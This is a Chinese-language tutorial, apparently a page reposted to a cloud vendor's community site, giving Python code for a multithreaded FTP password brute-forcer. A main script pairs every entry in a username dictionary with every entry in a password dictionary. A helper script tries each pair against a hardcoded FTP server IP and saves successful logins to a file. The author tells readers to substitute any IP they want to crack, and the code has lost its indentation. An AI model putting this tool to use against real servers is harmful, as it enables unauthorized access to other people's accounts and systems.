python編寫暴力破解FTP密碼小工具_python

來源:互聯網
上載者:User

python具體強大的庫檔案,很多功能都有相應的庫檔案,所以很有必要進行學習一下,其中有一個ftp相應的庫檔案ftplib,我們只需要其中的登入功能,然後利用多線程調用相應字典裡面的欄位進行登入,還能根據自己的需要,根據自身的情況編寫需要的程式,讓程式代替我們去做一些枯燥的重複工作。

下面直接上代碼,下面是主檔案

複製代碼 代碼如下:

import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘\n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘\n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相應的ftp.py檔案裡面的代碼如下

複製代碼 代碼如下:

import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”\n”)
except ftplib.error_perm:
print “passwd is world”

由於插不近格式,裡面的縮排的什麼的得自己手動再調節一下

需要兩個檔案,分別是user.txt和passwd.txt,這兩個分別是使用者名稱和賬戶的字典。

代碼其中的ftp破解IP可以自己修改成自己要破解的IP,最後正確的帳號和密碼會輸入到aa.txt檔案中。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.